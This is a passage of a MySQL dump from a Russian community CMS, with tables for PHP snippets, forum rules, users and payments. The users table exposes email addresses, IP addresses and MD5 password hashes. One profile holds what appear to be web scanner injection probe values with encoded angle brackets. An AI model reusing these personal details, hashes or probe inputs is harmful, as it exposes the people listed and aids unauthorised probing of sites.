])&gt;= 97 and ord ($c_text [ $i ])&lt;= 100){\r\n&amp; #64;$temp.=strtoupper($crypted[$i]);\r\n} else {\r\n&amp; #64;$temp.=$crypted[$i];\r\n}\r\n}\r\nreturn md5 ( $temp );\r\n}','files_5279_2229_',1006),(384,9,'Функция подсчета общего веса файлов в директории с вложеными папками','Функция подсчета общего веса файлов в директории с вложеными папками','function size_dir ( $dir ) {\r\n$full_size = 0 ;\r\n$opdir = opendir( $dir );\r\nwhile ( $a = readdir( $opdir ))\r\n{ if ( $a != &quot;.&quot; &amp;&amp; $a != &quot;..&quot; &amp;&amp; ! is_dir ( $dir . \'/\' .$a ))\r\n{$full_size = $full_size + filesize ( $dir . \'/\' . $a );}\r\nelseif ( $a != &quot;.&quot; &amp;&amp; $a != &quot;..&quot; &amp;&amp; is_dir ( $dir . \'/\' . $a )) { $full_size = $full_siz\r\n}\r\nclosedir ( $opdir );\r\nreturn $full_size ;}\r\n}','files_4505_4870_',1006),(385,9,'Функция подсчета файлов в директорияхпроизвольной вложености','Функция подсчета файлов в директорияхпроизвольной вложености','function count_files ($dir ){\r\n$c = 0 ;\r\n$d = dir( $dir );\r\nwhile( $str = $d -&gt; read ()){\r\nif( $str {0 }!=\'.\' ){\r\nif( is_dir ($dir . \'/\' .$str )) $c += count_files ( $dir . \'/\' . $str );\r\nelse $c ++;\r\n};\r\n}\r\n$d -&gt; close();\r\nreturn $c ;\r\n}','files_5017_4346_',1006),(386,9,'Функция удаления директории с вложеными внее файлами','Функция удаления директории с вложеными внее файлами','function clear ( $dir )\r\n{\r\n$opdir = opendir( $dir );\r\nwhile ( $a = readdir( $opdir ))\r\n{\r\nif ( $a != &quot;.&quot; &amp;&amp; $a != &quot;..&quot; &amp;&amp; ! is_dir ($dir . \'/\' . $a ))\r\n{ unlink( $dir . \'/\' . $a );}\r\nelseif( $a != &quot;.&quot; &amp;&amp; $a != &quot;..&quot; &amp;&amp; is_dir ( $dir .\'/\' . $a ))\r\n{ clear ($dir . \'/\' . $a );}\r\n}\r\nclosedir ( $opdir );\r\nif( rmdir( $dir )){return TRUE ;}else{return FALSE ;}\r\n}','files_5039_4967_',1006);
/*!40000 ALTER TABLE `polz_stat` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `repa_user`
--

DROP TABLE IF EXISTS `repa_user`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `repa_user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `text` text NOT NULL,
  `kto` varchar(244) NOT NULL,
  `komy` varchar(244) NOT NULL,
  `time` varchar(244) NOT NULL,
  `repa` varchar(11) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `repa_user`
--

LOCK TABLES `repa_user` WRITE;
/*!40000 ALTER TABLE `repa_user` DISABLE KEYS */;
/*!40000 ALTER TABLE `repa_user` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `rules`
--

DROP TABLE IF EXISTS `rules`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `rules` (
  `site` text NOT NULL,
  `forum` text NOT NULL,
  `chat` text NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `rules`
--

LOCK TABLES `rules` WRITE;
/*!40000 ALTER TABLE `rules` DISABLE KEYS */;
INSERT INTO `rules` VALUES ('1. Запрещено оставлять на форуме более 3 однотипных сообщений подряд (Конкурсы исключение). [b](Блокировка на 1 ч.) [/b]\r\n2. Запрещено оскорблять пользователей сайта, смеяться над отсутствием знаний и т.д. [b](Блокировка на 3 ч.) [/b]\r\n3. Запрещено создавать бессмысленные темы (исключением является раздел свободное общение). [b](Блокировка на 2 ч.) [/b]\r\n4. Каждому юзеру форума запрещено писать сообщения, которые не имеют как такового смысла (флуд, оффтоп, спам). [b](Блокировка на 2 ч.) [/b]\r\n5. Запрещено злоупотреблять ВВ-кодами (например писать всё сообщение жирным шрифтом или цветным текстом). [b](Блокировка на 2 ч.) [/b]\r\n6. Запрещено ставить на аватарку изображения порнографического характера. [b](Блокировка на 5 ч.) [/b]\r\n7. Запрещено вести торговую деятельность без подтвержденного WMID. [b](Блокировка на 5 ч.) [/b]\r\n8. Запрещено продавать скрипты/дизайны, находящиеся в свободном доступе . [b](Блокировка на 10 ч.)[/b] \r\n9. Запрещено продавать товары без примера, либо скриншота. [b](Блокировка на 1 ч.)[/b] \r\n10. Запрещено иметь более одной учётной записи на сайте (Исключение аккаунт ВК).Удаление мультиаккаунта [b](Блокировка на 24 ч.) [/b]\r\n11. Запрещено плодить уже существующие темы на форуме. [b](Блокировка на 2 ч.) [/b]\r\n12. Запрещено создавать темы на форуме с неинформативными названиями (типа: срочно сюда, помогите, как сделать? и т.п ) [b](Блокировка на 1 ч.) [/b]\r\n13. Запрещено создавать темы не в соответствующих им подфорумах. (Блокировка на 1 ч.) [/b]\r\n14. Запрещено (КАТЕГОРИЧЕСКИ) оставлять ссылки на сайте, которые ведут на другие вм-проекты. (даже в анкете) [b](Блокировка на 72 ч.) [/b]\r\n15. Запрещено ставить в статус пользователя ссылки или часть домена [b](Блокировка на 5 ч.) [/b]\r\n16. Запрещена продажа аккаунтов сайта [удаление аккаунта] [b](Блокировка на 999 ч.)[/b] \r\n17. Запрещено поднимать (апать) тему более 3 раза в сутки [b](Блокировка на 3 ч.) [/b]\r\n18. Любой открытый мат на сайте [b](Блокировка на 5 ч.) \r\n19. Запрещенно размещение реферальных ссылок без предупреждения ([b]Блокировка на 4 ч.) [/b]\r\n20. Запрещено клеветать на собеседника , из-за личной неприязни к нему. [b](Блокировка на 12 ч.)[/b] \r\n21. Запрещена накрутка репутации на сайте (рейтинг, плюсы, отзывы в арбитраж) [b](Блокировка на 12 ч.) [/b]\r\n22. Пользователям, которые находятся в списке кидал, запрещено вести любую финансовую деятельность [b](Блокировка на 4 ч.) [/b]\r\n23. Запрещено ставить на аватарку изображения на которых есть адреса ВМ сайтов [b](Блокировка на 48 ч.) [/b]\r\n24. Запрещено спамить в личной почте любыми ссылками. [b](Блокировка на 9 ч.)[/b]','1. Запрещено оставлять на форуме более 3 однотипных сообщений подряд (Конкурсы исключение). [b](Блокировка на 1 ч.) [/b]\r\n2. Запрещено оскорблять пользователей сайта, смеяться над отсутствием знаний и т.д. [b](Блокировка на 3 ч.) [/b]\r\n3. Запрещено создавать бессмысленные темы (исключением является раздел свободное общение). [b](Блокировка на 2 ч.) [/b]\r\n4. Каждому юзеру форума запрещено писать сообщения, которые не имеют как такового смысла (флуд, оффтоп, спам). [b](Блокировка на 2 ч.) [/b]\r\n5. Запрещено злоупотреблять ВВ-кодами (например писать всё сообщение жирным шрифтом или цветным текстом). [b](Блокировка на 2 ч.) [/b]\r\n6. Запрещено ставить на аватарку изображения порнографического характера. [b](Блокировка на 5 ч.) [/b]\r\n7. Запрещено вести торговую деятельность без подтвержденного WMID. [b](Блокировка на 5 ч.) [/b]\r\n8. Запрещено продавать скрипты/дизайны, находящиеся в свободном доступе . [b](Блокировка на 10 ч.)[/b] \r\n9. Запрещено продавать товары без примера, либо скриншота. [b](Блокировка на 1 ч.)[/b] \r\n10. Запрещено иметь более одной учётной записи на сайте (Исключение аккаунт ВК).Удаление мультиаккаунта [b](Блокировка на 24 ч.) [/b]\r\n11. Запрещено плодить уже существующие темы на форуме. [b](Блокировка на 2 ч.) [/b]\r\n12. Запрещено создавать темы на форуме с неинформативными названиями (типа: срочно сюда, помогите, как сделать? и т.п ) [b](Блокировка на 1 ч.) [/b]\r\n13. Запрещено создавать темы не в соответствующих им подфорумах. (Блокировка на 1 ч.) [/b]\r\n14. Запрещено (КАТЕГОРИЧЕСКИ) оставлять ссылки на сайте, которые ведут на другие вм-проекты. (даже в анкете) [b](Блокировка на 72 ч.) [/b]\r\n15. Запрещено ставить в статус пользователя ссылки или часть домена [b](Блокировка на 5 ч.) [/b]\r\n16. Запрещена продажа аккаунтов сайта [удаление аккаунта] [b](Блокировка на 999 ч.)[/b] \r\n17. Запрещено поднимать (апать) тему более 3 раза в сутки [b](Блокировка на 3 ч.) [/b]\r\n18. Любой открытый мат на сайте [b](Блокировка на 5 ч.) \r\n19. Запрещенно размещение реферальных ссылок без предупреждения ([b]Блокировка на 4 ч.) [/b]\r\n20. Запрещено клеветать на собеседника , из-за личной неприязни к нему. [b](Блокировка на 12 ч.)[/b] \r\n21. Запрещена накрутка репутации на сайте (рейтинг, плюсы, отзывы в арбитраж) [b](Блокировка на 12 ч.) [/b]\r\n22. Пользователям, которые находятся в списке кидал, запрещено вести любую финансовую деятельность [b](Блокировка на 4 ч.) [/b]\r\n23. Запрещено ставить на аватарку изображения на которых есть адреса ВМ сайтов [b](Блокировка на 48 ч.) [/b]\r\n24. Запрещено спамить в личной почте любыми ссылками. [b](Блокировка на 9 ч.)[/b]','1. Запрещено оставлять на форуме более 3 однотипных сообщений подряд (Конкурсы исключение). [b](Блокировка на 1 ч.) [/b]\r\n2. Запрещено оскорблять пользователей сайта, смеяться над отсутствием знаний и т.д. [b](Блокировка на 3 ч.) [/b]\r\n3. Запрещено создавать бессмысленные темы (исключением является раздел свободное общение). [b](Блокировка на 2 ч.) [/b]\r\n4. Каждому юзеру форума запрещено писать сообщения, которые не имеют как такового смысла (флуд, оффтоп, спам). [b](Блокировка на 2 ч.) [/b]\r\n5. Запрещено злоупотреблять ВВ-кодами (например писать всё сообщение жирным шрифтом или цветным текстом). [b](Блокировка на 2 ч.) [/b]\r\n6. Запрещено ставить на аватарку изображения порнографического характера. [b](Блокировка на 5 ч.) [/b]\r\n7. Запрещено вести торговую деятельность без подтвержденного WMID. [b](Блокировка на 5 ч.) [/b]\r\n8. Запрещено продавать скрипты/дизайны, находящиеся в свободном доступе . [b](Блокировка на 10 ч.)[/b] \r\n9. Запрещено продавать товары без примера, либо скриншота. [b](Блокировка на 1 ч.)[/b] \r\n10. Запрещено иметь более одной учётной записи на сайте (Исключение аккаунт ВК).Удаление мультиаккаунта [b](Блокировка на 24 ч.) [/b]\r\n11. Запрещено плодить уже существующие темы на форуме. [b](Блокировка на 2 ч.) [/b]\r\n12. Запрещено создавать темы на форуме с неинформативными названиями (типа: срочно сюда, помогите, как сделать? и т.п ) [b](Блокировка на 1 ч.) [/b]\r\n13. Запрещено создавать темы не в соответствующих им подфорумах. (Блокировка на 1 ч.) [/b]\r\n14. Запрещено (КАТЕГОРИЧЕСКИ) оставлять ссылки на сайте, которые ведут на другие вм-проекты. (даже в анкете) [b](Блокировка на 72 ч.) [/b]\r\n15. Запрещено ставить в статус пользователя ссылки или часть домена [b](Блокировка на 5 ч.) [/b]\r\n16. Запрещена продажа аккаунтов сайта [удаление аккаунта] [b](Блокировка на 999 ч.)[/b] \r\n17. Запрещено поднимать (апать) тему более 3 раза в сутки [b](Блокировка на 3 ч.) [/b]\r\n18. Любой открытый мат на сайте [b](Блокировка на 5 ч.) \r\n19. Запрещенно размещение реферальных ссылок без предупреждения ([b]Блокировка на 4 ч.) [/b]\r\n20. Запрещено клеветать на собеседника , из-за личной неприязни к нему. [b](Блокировка на 12 ч.)[/b] \r\n21. Запрещена накрутка репутации на сайте (рейтинг, плюсы, отзывы в арбитраж) [b](Блокировка на 12 ч.) [/b]\r\n22. Пользователям, которые находятся в списке кидал, запрещено вести любую финансовую деятельность [b](Блокировка на 4 ч.) [/b]\r\n23. Запрещено ставить на аватарку изображения на которых есть адреса ВМ сайтов [b](Блокировка на 48 ч.) [/b]\r\n24. Запрещено спамить в личной почте любыми ссылками. [b](Блокировка на 9 ч.)[/b]');
/*!40000 ALTER TABLE `rules` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `settings`
--

DROP TABLE IF EXISTS `settings`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `settings` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `key` text NOT NULL,
  `des` text NOT NULL,
  `cop` varchar(50) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `settings`
--

LOCK TABLES `settings` WRITE;
/*!40000 ALTER TABLE `settings` DISABLE KEYS */;
INSERT INTO `settings` VALUES (1,'StrongCMS.RU','StrongCMS.RU','StrongCMS.RU');
/*!40000 ALTER TABLE `settings` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `smile`
--

DROP TABLE IF EXISTS `smile`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `smile` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(244) NOT NULL,
  `icon` varchar(244) NOT NULL,
  `papka` varchar(30) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `smile`
--

LOCK TABLES `smile` WRITE;
/*!40000 ALTER TABLE `smile` DISABLE KEYS */;
/*!40000 ALTER TABLE `smile` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `smile_p`
--

DROP TABLE IF EXISTS `smile_p`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `smile_p` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(30) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `smile_p`
--

LOCK TABLES `smile_p` WRITE;
/*!40000 ALTER TABLE `smile_p` DISABLE KEYS */;
/*!40000 ALTER TABLE `smile_p` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `stena`
--

DROP TABLE IF EXISTS `stena`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `stena` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `msg` text NOT NULL,
  `avtor` varchar(244) NOT NULL,
  `ukogo` varchar(244) NOT NULL,
  `time` varchar(244) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `stena`
--

LOCK TABLES `stena` WRITE;
/*!40000 ALTER TABLE `stena` DISABLE KEYS */;
/*!40000 ALTER TABLE `stena` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `users`
--

DROP TABLE IF EXISTS `users`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `users` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `login` varchar(20) NOT NULL,
  `pass` varchar(255) NOT NULL,
  `sex` varchar(1) NOT NULL,
  `name` varchar(30) NOT NULL,
  `email` varchar(40) NOT NULL,
  `strana` varchar(255) NOT NULL,
  `gorod` varchar(255) NOT NULL,
  `osebe` varchar(555) NOT NULL,
  `datareg` varchar(255) NOT NULL,
  `level` varchar(1) NOT NULL,
  `browser` varchar(250) NOT NULL,
  `ip` varchar(250) NOT NULL,
  `viz` varchar(250) NOT NULL,
  `online` varchar(250) NOT NULL,
  `gde` varchar(255) NOT NULL,
  `xstatus` varchar(255) NOT NULL,
  `color_nick` varchar(255) NOT NULL,
  `max` int(30) NOT NULL DEFAULT '10',
  `avatar` varchar(255) NOT NULL,
  `wmid` varchar(50) NOT NULL,
  `site` varchar(50) NOT NULL,
  `key` varchar(50) NOT NULL,
  `keyp` int(1) NOT NULL DEFAULT '3',
  `know` int(1) NOT NULL,
  `act_wmid` int(1) NOT NULL,
  `wmr` varchar(13) NOT NULL,
  `status` varchar(300) NOT NULL,
  `rub` int(10) NOT NULL,
  `balans` decimal(11,2) NOT NULL DEFAULT '0.00' COMMENT 'Баланс',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `users`
--

LOCK TABLES `users` WRITE;
/*!40000 ALTER TABLE `users` DISABLE KEYS */;
INSERT INTO `users` VALUES (1,'Bizz','081ffd87009020a91d9959003c7bc3eb','1','Павел','diz-top@inbox.ru','','','','1419570913','3','Opera/9.80 (Android; Opera Mini/7.6.40077/35.6368; U; ru) Presto/2.8.119 Version/11.10','82.145.220.138','1419605505','2442','/','1','',10,'','','','',3,0,0,'','',0,0.00),(2,'nefest','312fd2f3cabafc9417c35fd00efdaa5d','1','000000000','maga-34@list.ru','!S!WCRTESTINPUT000000!E!','!S!WCRTESTINPUT000001!E!','!S!WCRTESTINPUT000002!E!','1419588710','0','Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60','185.3.32.128','1419605378','474','/','','',0,'','!S!WCRTESTINPUT000005&lt;&gt;&lt;&gt;%3c%3e!E!','','',3,0,0,'!S!WCRTESTINP','',0,0.00);
/*!40000 ALTER TABLE `users` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `worldkassa`
--

DROP TABLE IF EXISTS `worldkassa`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `worldkassa` (
  `id` int(11) unsigned NOT NULL AUTO_INCREMENT COMMENT 'ID платежа (Внутренний ID)',
  `id_user` int(11) unsigned NOT NULL COMMENT 'ID пользователя',
  `id_bill` int(11) unsigned NOT NULL COMMENT 'ID платежа в Worldkassa',
  `time` int(11) unsigned NOT NULL COMMENT 'Время инициализации платежа',
  `time_oplata` int(11) unsigned DEFAULT '0' COMMENT 'Время оплаты',
  `summa` decimal(11,2) NOT NULL DEFAULT '0.00' COMMENT 'Сумма',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Статистика платежей через WorldKassa';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `worldkassa`
--

LOCK TABLES `worldkassa` WRITE;
/*!40000 ALTER TABLE `worldkassa` DISABLE KEYS */;
/*!40000 ALTER TABLE `worldkassa` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2014-12-26 18:49:57
